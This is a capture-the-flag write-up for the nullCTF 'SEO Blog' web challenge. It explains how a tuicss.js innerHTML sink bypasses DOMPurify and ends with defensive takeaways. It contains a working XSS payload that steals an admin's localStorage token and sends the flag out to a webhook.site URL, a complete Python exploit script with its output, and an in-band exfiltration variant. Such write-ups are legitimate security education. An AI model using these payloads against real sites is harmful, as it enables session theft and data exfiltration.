Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebMedium

Seo Blog

CTF writeup for Seo Blog from nullCTF

//SEO Blog

Challenge: SEO Blog

Category: Web

Flag: nullctf{csp_15_u53ful_f0r_h4ck3r5_t00}


>TL;DR

XSS vulnerability in the tuicss.js library's datetimeController() function. The data-format attribute of elements with class tui-datetime is directly set as innerHTML, bypassing DOMPurify sanitization. Exploit by creating a post with a malicious <a> tag, triggering admin bot to visit it, and exfiltrating the flag via OOB webhook.


>Challenge Overview

The challenge presents a blog application built with:

  • Backend: Rust (Rocket framework)

  • Frontend: TUI CSS library with DOMPurify sanitization

  • Admin Bot: Headless Firefox that visits reported posts

Users can:

  1. Register and login

  2. Create blog posts with title, content, and SEO meta tags

  3. Report posts to an admin bot

The flag is stored in an unapproved post visible only to the admin user.


>Source Code Analysis

Key Files Structure

source/ ├── app/ │   ├── src/ │   │   ├── routes/ │   │   │   ├── blog/ │   │   │   │   ├── create.rs      # Post creation │   │   │   │   ├── post.rs        # Single post view │   │   │   │   └── posts.rs       # Posts listing │   │   │   └── report.rs          # Admin bot trigger │   │   └── main.rs │   ├── static/ │   │   ├── tuicss/ │   │   │   └── tuicss.js          # VULNERABLE! │   │   ├── dompurify/ │   │   │   └── purify.min.js │   │   └── js/ │   │       └── utils.js │   └── templates/ │       ├── post.html.tera         # Single post template │       └── posts.html.tera        # Posts list template └── bot/     └── bot.py                      # Admin bot (Firefox)

Vulnerability Discovery

1. Content Sanitization (post.html.tera)

html

<div data-content="{{ post.content }}" data-id="{{ post.id }}" id="data"></div>

<!-- ... -->

<script>

    const data = document.getElementById("data").dataset;

    document.getElementById("content").innerHTML = DOMPurify.sanitize(data.content, {

        ALLOWED_TAGS: ["b", "i", "a"],

    });

</script>

Content is sanitized by DOMPurify with only <b>, <i>, and <a> tags allowed. This seems secure...

2. The Vulnerable Sink (tuicss.js)

javascript

function datetimeController() {

    const t = document.getElementsByClassName("tui-datetime");

    function e() {

        for (const e of t) {

            if (null === e) continue;

            let t = e.getAttribute("data-format");

            // ... date replacement logic ...

            e.innerHTML = t;  // VULNERABLE! Direct innerHTML assignment

        }

    }

    t.length && (e(), setTimeout(() => { setInterval(e, 1e3) }, 1e3 - (new Date).getMilliseconds()));

}

The datetimeController() function:

  1. Finds all elements with class tui-datetime

  2. Gets their data-format attribute

  3. Directly sets it as innerHTML - bypassing all sanitization!

3. DOMPurify Allows the Attack Vector

By default, DOMPurify allows:

  • <a> tags (explicitly allowed)

  • class attribute (standard HTML)

  • data-* attributes (allowed by default)

So we can inject:

html

<a class="tui-datetime" data-format="<img src=x onerror=alert(1)>">X</a>

DOMPurify keeps this intact, then tuicss.js sets innerHTML to <img src=x onerror=alert(1)> - XSS!

Admin Bot Behavior

python

# bot.py

driver = webdriver.Firefox(options=options)

  

# Admin token is set in localStorage

driver.execute_script(f"localStorage.setItem('token', '{token}')")

  

# Bot visits the post page

driver.get(f"{FRONTEND_URL}/{post_id}")

time.sleep(5)  # 5 second wait

The admin bot:

  1. Sets its token in localStorage

  2. Visits the reported post URL

  3. Waits 5 seconds (enough time for XSS to execute)


>Exploitation Strategy

Attack Flow

┌─────────────────┐     ┌──────────────────┐     ┌─────────────────┐ │   Attacker      │────▶│   Blog Server    │◀────│   Admin Bot     │ │                 │     │                  │     │   (has flag)    │ └─────────────────┘     └──────────────────┘     └─────────────────┘         │                        │                        │         │  1. Create XSS post    │                        │         │───────────────────────▶│                        │         │                        │                        │         │  2. Report post        │                        │         │───────────────────────▶│  3. Visit post         │         │                        │◀───────────────────────│         │                        │                        │         │                        │  4. XSS executes       │         │                        │  5. Fetch / with token │         │                        │◀───────────────────────│         │                        │                        │         │                        │  6. Find flag in HTML  │         │                        │  7. Exfil to webhook   │         │                        │───────────────────────▶│ Webhook         │                        │                        │         │  8. Read flag from webhook                      │         │◀────────────────────────────────────────────────│

The XSS Payload

javascript

var t = localStorage.getItem('token') || 'NULL';

  

// Fetch the main page with admin's token

var x = new XMLHttpRequest();

x.open('GET', '/', false);

if(t != 'NULL') x.setRequestHeader('Authorization', 'Bearer ' + t);

x.send(null);

  

// Extract flag from response

var page = x.responseText;

var m = page.match(/nullctf\{[^}]+\}/);

var flag = m ? m[0] : 'NO_FLAG';

  

// Exfiltrate to webhook

new Image().src = 'https://webhook.site/YOUR_ID?flag=' + encodeURIComponent(flag);

Bypassing Potential Issues

  1. Date Format Replacement: The datetimeController replaces characters like M, d, H, etc. with current date/time values. Solution: prefix payload with MdeyHhmsa to absorb these replacements.

  2. Base64 Encoding: To avoid quote escaping issues, the JS payload is base64 encoded and executed via eval(atob('...')).

  3. Synchronous XHR: Use synchronous XHR (false flag) to ensure requests complete before bot navigates away.


>Final Exploit Code

exploit_remote.py

python

#!/usr/bin/env python3

"""

SEO Blog - XSS Flag Exfiltration Exploit

Captures flag via OOB webhook exfiltration

"""

  

import requests

import sys

import time

import base64

  

def run_exploit():

    if len(sys.argv) < 2:

        print("Usage: python3 exploit_remote.py <TARGET_URL> [WEBHOOK_URL]")

        sys.exit(1)

    BASE_URL = sys.argv[1].rstrip('/')

    WEBHOOK_URL = sys.argv[2] if len(sys.argv) > 2 else "https://webhook.site/YOUR_ID"

    s = requests.Session()

    username = f"attacker_{int(time.time())}"

    password = "password"

    # 1. Register & Login

    print(f"[*] Registering user {username}...")

    s.post(f"{BASE_URL}/auth/register", json={"username": username, "password": password})

    res = s.post(f"{BASE_URL}/auth/login", json={"username": username, "password": password})

    if res.status_code != 200:

        print("[-] Login failed")

        return

    attacker_token = res.json()['token']

    print(f"[+] Got Attacker Token: {attacker_token[:50]}...")

  

    # 2. Construct XSS Payload

    raw_js = f"""

    var t = localStorage.getItem('token') || 'NULL';

    var x = new XMLHttpRequest();

    x.open('GET', '/', false);

    if(t != 'NULL') x.setRequestHeader('Authorization', 'Bearer ' + t);

    x.send(null);

    var page = x.responseText;

    var m = page.match(/nullctf\\{{[^}}]+\\}}/);

    var flag = m ? m[0] : 'NO_FLAG';

    new Image().src = '{WEBHOOK_URL}?flag=' + encodeURIComponent(flag) + '&token=' + encodeURIComponent(t.substring(0,50));

    """

    raw_js_flat = " ".join(raw_js.split())

    b64_js = base64.b64encode(raw_js_flat.encode()).decode()

    # MdeyHhmsa prefix absorbs date format replacements

    payload = f"MdeyHhmsa<img src=x onerror=eval(atob('{b64_js}'))>"

    content = f"<a class='tui-datetime' data-format=\"{payload}\">X</a>"

    # 3. Create malicious post

    print(f"[*] Creating XSS post...")

    res = s.post(f"{BASE_URL}/create", json={

        "title": "Exploit Post",

        "content": content,

        "meta": []

    }, headers={"Authorization": f"Bearer {attacker_token}"})

    if res.status_code != 200:

        print(f"[-] Create post failed: {res.text}")

        return

    post_id = res.json()['post']['id']

    print(f"[+] Created Post ID: {post_id}")

    # 4. Trigger admin bot

    print(f"[*] Triggering Admin Bot visit via /report/{post_id}...")

    try:

        s.post(f"{BASE_URL}/report/{post_id}",

               headers={"Authorization": f"Bearer {attacker_token}"},

               timeout=15)

        print("[*] Report finished")

    except Exception as e:

        print(f"[*] Report timed out: {e}")

  

    print(f"\n[*] Check {WEBHOOK_URL} for exfiltrated flag!")

    print("[*] Waiting 5s then checking webhook API...")

    time.sleep(5)

    # 5. Check webhook for flag

    webhook_id = WEBHOOK_URL.split('/')[-1]

    try:

        res = requests.get(f"https://webhook.site/token/{webhook_id}/requests", timeout=10)

        data = res.json()

        if data.get('data'):

            for req in data['data']:

                if req.get('query') and 'flag' in req['query']:

                    print(f"\n[+] FLAG CAPTURED: {req['query']}")

        else:

            print("[-] No data received at webhook yet")

    except Exception as e:

        print(f"[-] Webhook check failed: {e}")

  

if __name__ == "__main__":

    run_exploit()

>Step-by-Step Exploitation

1. Setup Webhook

Go to https://webhook.site and get your unique webhook URL.

2. Run the Exploit

bash

python3 exploit_remote.py http://public.ctf.r0devnull.team:3009 https://webhook.site/YOUR_ID

3. Output

[*] Registering user attacker_1764961140... [+] Got Attacker Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9... [*] Creating XSS post... [+] Created Post ID: 1e951df0-279d-43e8-8669-04f07ac91676 [*] Triggering Admin Bot visit via /report/1e951df0-279d-43e8-8669-04f07ac91676... [*] Report finished [*] Check https://webhook.site/... for exfiltrated data [*] Waiting 5s then checking webhook API... [+] FLAG CAPTURED: {'flag': 'nullctf{csp_15_u53ful_f0r_h4ck3r5_t00}', 'token': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...'}

>Alternative: In-Band Exfiltration

If OOB exfiltration is blocked, you can try creating a post with the flag as the title:

python

# In-band alternative (less reliable)

raw_js = f"""

var t = localStorage.getItem('token') || 'NULL';

  

var x = new XMLHttpRequest();

x.open('GET', '/', false);

if(t != 'NULL') x.setRequestHeader('Authorization', 'Bearer ' + t);

x.send(null);

  

var page = x.responseText;

var m = page.match(/nullctf\\{{[^}}]+\\}}/);

var flag = m ? m[0] : 'NO_FLAG';

  

var x2 = new XMLHttpRequest();

x2.open('POST', '/create', false);

x2.setRequestHeader('Content-Type', 'application/json');

x2.setRequestHeader('Authorization', 'Bearer {attacker_token}');

x2.send('{{"title":"STOLEN_' + flag + '","content":"EXFIL","meta":[]}}');

"""

Then check the posts listing for a post titled STOLEN_nullctf{...}.


>Key Takeaways

  1. DOMPurify ≠ Complete Protection: DOMPurify sanitizes the HTML, but if the application later uses unsafe sinks like innerHTML on user-controlled attributes, XSS is still possible.

  2. Third-party Libraries Can Be Dangerous: The tuicss.js library introduced the vulnerable innerHTML sink that bypassed all sanitization efforts.

  3. Attribute-based XSS: Even when <script> tags are blocked, data-* attributes can carry payloads that execute through alternative sinks.

  4. Admin Bot = XSS Goldmine: Any admin bot that visits user-controlled pages is a prime target for XSS attacks to steal credentials or sensitive data.


>Flag

nullctf{csp_15_u53ful_f0r_h4ck3r5_t00}

The flag hints that CSP (Content Security Policy) could have prevented this attack by blocking inline scripts and external requests. Ironically, the lack of CSP made this exploit possible!

![[Pasted image 20251206030151.png]]